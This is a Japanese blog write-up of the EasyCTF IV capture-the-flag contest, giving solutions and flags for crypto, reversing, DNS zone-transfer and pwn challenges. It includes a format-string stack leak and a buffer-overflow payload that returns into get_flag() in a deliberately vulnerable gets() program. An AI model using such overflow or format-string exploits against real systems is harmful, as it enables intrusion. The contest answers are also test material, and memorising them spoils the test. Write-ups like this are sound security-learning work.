更新日時で差をつけろ

もはや更新日時でしか差を付けられない

EasyCTF IV write-up

EasyCTF IV にチームBiPhoneから出ました(一人だけど)。2056ptsで89位でした。
楽しかった。ハリネズミ本に載っているようなpwnがあったので同級生に投げていこうかな。
以下write-up。問題数多いので10ptsや30ptsの問題は大体略していますごめんなさい。

Substitute 50pts

easyctf{THIS_IS_AN_EASY_FLAG_TO_GUESS}で通らず1日放置してから、HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.をまるごと投げたら通った。は?
sedするよりもhttp://quipqiup.com に投げたほうが早い。

$ echo 'FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL.' | sed -e 's/F/y/g' -e 's/C/e/g' -e 's/L/s/g' -e 's/H/p/g' -e 's/W/c/g' -e 's/E/t/g' -e 's/N/f/g' -e 's/A/a/g' -e 's/P/h/g' -e 's/J/i/g' -e 's/I/o/g' -e 's/O/g/g' -e 's/G/u/g' -e 's/X/n/g' -e 's/S/l/g' -e 's/D/r/g' -e 's/U/w/g' -e 's/M/d/g' -e 's/Z/v/g' -e 's/T/m/g' -e 's/Y/b/g' -e 's/T/m/g'
 
yo! nicebowlofsoup Qust made a new flag for the ctf and is totally proud of its ingenuity. this is also the second problem ever made for easyctf. here: easyctf{this_is_an_easy_flag_to_guess} use capital letters.

Soupreme Encoder 20pts

FLAG: hexit_mate_c17c5c159e1f0cb857f2
'68657869745f6d6174655f6331376335633135396531663063623835376632'.chars.each_slice(2) { |p, q| print (p+q).to_i(16).chr }
としていたが
['68657869745f6d6174655f6331376335633135396531663063623835376632'].pack("H*")でよかった。

Intro: Reverse Engineering 30pts

もう1回暗号化するだけだが、Pythonの扱いに慣れない…
easyctf{char_by_char_67bdFD}
https://stackoverflow.com/questions/17615414/how-to-convert-binary-string-to-normal-string-in-python3

#!/usr/bin/env python3
import binascii
key = "DbitqlPo"
def mystery(s):
    r = ""
    for i, c in enumerate(s):
        r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256))
    return binascii.hexlify(bytes(r, "utf-8"))
 
expected = '6503c2a125c2a768c28672431a7bc28e131e19c39e23c3aa03c3aec28bc3aac397c29b04c394c3ae41'
plain = mystery(binascii.unhexlify(expected).decode('utf-8'))
 
print(binascii.unhexlify(plain).decode('utf-8'))

format 160pts

x64でのFSB。espが指す場所にそのまま積まれている。

user95405@shell:/problems/format$ ./format
Enter your name: %p %p %p %p %p %p %lx %lx %lx
Your name is: 0x400a5a 0x7f8a8ea9b780 0xe 0x7f8a8ecb8700 0xe (nil) 4625f35200000000 7025207025207025 2520702520702520
 
Enter your secret password (in hex)
4625f352
easyctf{p3sky_f0rm4t_s7uff}

Starman 1 80pts

ナップザックDP。

#include <iostream>
#include <vector>
#include <algorithm>
 
using namespace std;
 
int r[2018], w[2018];
int dp[2018][2018];
 
int main() {
    int N, W;
    cin >> N >> W;
    for (int i = 0; i < N; i++) cin >> r[i] >> w[i];
 
    for (int i = 0; i < N; i++) {
        for (int k = 0; k <= W; k++) {
            if (k >= w[i]) {
                dp[i+1][k] = max(dp[i][k], dp[i][k - w[i]] + r[i]);
            } else {
                dp[i+1][k] = dp[i][k];
            }
        }
    }
 
    cout << dp[N][W] << endl;
 
    return 0;
}

Liar 70pts

デバッグ情報がついているバイナリとそのソースが渡されるが、それらはダミー。逆アセンブルすると全く異なる処理が行われていることがわかる。読んでRubyに書き換えると以下のようになる。

def encode number
  f = [
    0x65, 0x66, 0x7d, 0x6c, 0x7f, 0x57, 0x4c, 0x4a,
    0x4b, 0x4b, 0x2f, 0x21, 0x38, 0x04, 0x15, 0x08,
    0x03, 0x19, 0x59, 0xf1, 0xd3, 0xe7, 0xf5, 0xce,
    0xf7, 0xcd, 0xd7, 0xd9, 0xe8, 0x94, 0xa0, 0xb0,
    0x87, 0x8f, 0x9a, 0xca, 0x81
  ]
  g = []
  buf = number ^ 0x58eb29
 
  0x25.times do |i| # <-----
    g[i] = 0xFF & ((buf * i) ^ f[i]) 
  end
 
  g[0x25] = 0
 
  g.each { |x| print x.to_s(16) + ' ' }
  puts g.map(&:chr).join
end
 
encode gets.to_i

出力される文字はeasyctf{なので、<---で示したループにおいてi=1のとき0xFF & ((number ^ 0x58eb29) ^ 0x66) = g[1] = 'a' = 0x61になればよい。
XORをとるとnumberは5827374とわかるので入力に与えるとFLAGが出る。

$ ruby exploit.rb
5827374
65 61 73 79 63 74 66 7b 73 74 69 6c 6c 5f 77 61 73 6e 27 74 5f 74 6f 6f 5f 62 61 64 2c 5f 72 69 67 68 74 3f 7d 0 easyctf{still_wasn't_too_bad,_right?}

Adder 80pts

radare2で見るとC++っぽいメソッド名がたくさん。
3つの数字を受け取って、その和が0x539 = 1337になればFLAGを表示する。

~/c/e/adder $ ./adder
Enter three numbers!
1337 0 0
easyctf{y0u_added_thr33_nums!}

Keyed Xor 100pts

案外苦戦した。
大量の単語が改行区切りで入ったwords.txtから2単語選び連結した文字列と暗号文keyed_xor.txtのXORを取るとFLAGが出るらしい。

words.txtは20538行あるので、すべての組み合わせを試そうとすると20538 * 20537通りなので終わらない。
いろいろ悩んだ末、復号した平文がeasyctf{で始まっていると仮定して暗号文とXORをとり、鍵を逆算してみた。
すると鍵がaggravatで始まっていることがわかる。

$ xxd keyed_xor.txt 
00000000: 0406 140b 0202 070f 0308 1217 030f 140b  ................
00000010: 0718 0e15 070b 0615 121a 1906 000b 011c  ................
00000020: 151b 181d 0016 091f 0a17 1e08 0811 1612  ................
00000030: 1009 0200 090d 040b 0c13 0e1b 0f09 1211  ................
00000040: 131a 1719 1d16 111d 1517 08              ...........
$ irb
irb(main):002:0> (0x04 ^ 'e'.ord).chr
=> "a"
irb(main):003:0> (0x06 ^ 'a'.ord).chr
=> "g"
irb(main):004:0> (0x14 ^ 's'.ord).chr
=> "g"
irb(main):005:0> (0x0b ^ 'y'.ord).chr
=> "r"
irb(main):006:0> (0x02 ^ 'c'.ord).chr
=> "a"
irb(main):007:0> (0x02 ^ 't'.ord).chr
=> "v"
irb(main):008:0> (0x07 ^ 'f'.ord).chr
=> "a"
irb(main):009:0> (0x0f ^ '{'.ord).chr
=> "t"

aggravatで始まる単語は5つしかないので、5 * 20537通りとなり全探索できるようになる。

encrypted = File.binread('keyed_xor.txt').bytes
 
['aggravated', 'aggravation', 'aggravating', 'aggravate', 'aggravations'].each do |a|
  File.read('words.txt').split("\n").each do |b|
    decrypted = ''
    key = a + b
    encrypted.each_with_index do |ch, i|
      decrypted += (key[i % key.size].ord ^ ch.ord).chr
    end
    
    puts decrypted
  end
end

Digging for Soup 150pts

2つあったDNSの問題の一つ。キャッシュサーバが権威サーバからゾーン情報を取得するのに使われるゾーン転送要求・AXFRというものを使う。寮内のLANからはdigができないのでhttp://digwebinterface.com/を使った。

gyazo.com

gyazo.com

https://i.gyazo.com/48002ac037b4f7fc3040c7ec2fb21a6c.png

EzReverse 140pts

実行すると自身を削除してしまうので、逆アセンブルして読む。これぐらいの小さなアセンブリでも普通に1時間弱溶けてしまうので早く慣れたいなあ。
コマンドライン引数の文字をABCDEとして表すと、以下のような式が成り立つときにFLAGを表示する。

4 + D = 'o'
4 + D + 0xe = 3 + C
1 + A = 5 + E - 10
2 + B = '5'
3 + 4 + D = 5 + E

あてはまる文字列はg3zkmになる。

$ ./executable g3zkm
Now here is your flag: 10453125111114 

rop1 120pts

バッファオーバフローでget_flag()にリターンさせる。これぐらいはラクラク解けるようになってきた。

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
void get_flag()
{
    system("/bin/cat flag.txt");
}
 
void get_input()
{
    char inp[64];
    gets(inp);
    printf("You said: %s\n", inp);
}
 
int main(int argc, char** argv)
{
    gid_t gid = getegid();
    setresgid(gid,gid,gid);
    get_input();
    return 0;
}

get_flag()0x400646にある。

$ python -c  'print("\x00" * 72 + "\x46\x06\x40\x00")' | ./rop1
You said: 
easyctf{r0ps_and_h0ps}
Segmentation fault (core dumped)

Little Language 250pts

何故解けたかさっぱりわからない。
自分がこれを解いたのは全チームのなかで5,6番目だったのだが、Discordで「解法を交換しないか」とb0bb3rという参加者からメッセージが送られてきた。どのチームかはわからないが酷い。

次のような数式っぽい画像encryptedと、BNFのようなテキストが添付される。この2つをもとパスワードをゲットしてログインする。
https://i.gyazo.com/5ad7213d010347427d611fb66e461424.png

S : E                           { ExpS $1 }
  | global var '=' E            { GlobalVarS $2 $4 }

REDACTEDとして除去されていた画像中のpasswordはl7&4C&Cgなようだ。

$ strings password
....
note: the password is l7&4C&Cg

与えられたアドレスとポートに接続すると、対話型の画面が出る。

> 3 + 5
8
> ghiehut4
Lexなんとか Error

おそらくここからログインするのだろうが、さっぱりわからないので添付されたテキストファイルを見てみる。
ExpSはおそらくExpression, 式のことで、GlobalVarSグローバル変数ではないかと思った。$2は左側のvarの位置に入力された文字列が入り、$4には左側にあるE(式)の評価結果が入ると推測して入力してみる。

> global username = root
....
> global password = l7&4C&Cg
....
> username
root

どうやら推測が当たったようだ。そして最後のログインもいろいろエスパーしたらなんか出てきた。

> login
(エラー)
> login username password
(エラー)
> signin
(エラー)
....
> flag
EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}

実は上の数式のようなものは、「small-step semantics」といって、計算機科学の分野では一般的なものらしい。
http://proofcafe.org/sf/Smallstep_J.html ここに説明が書いてあるので後で読んでみたい。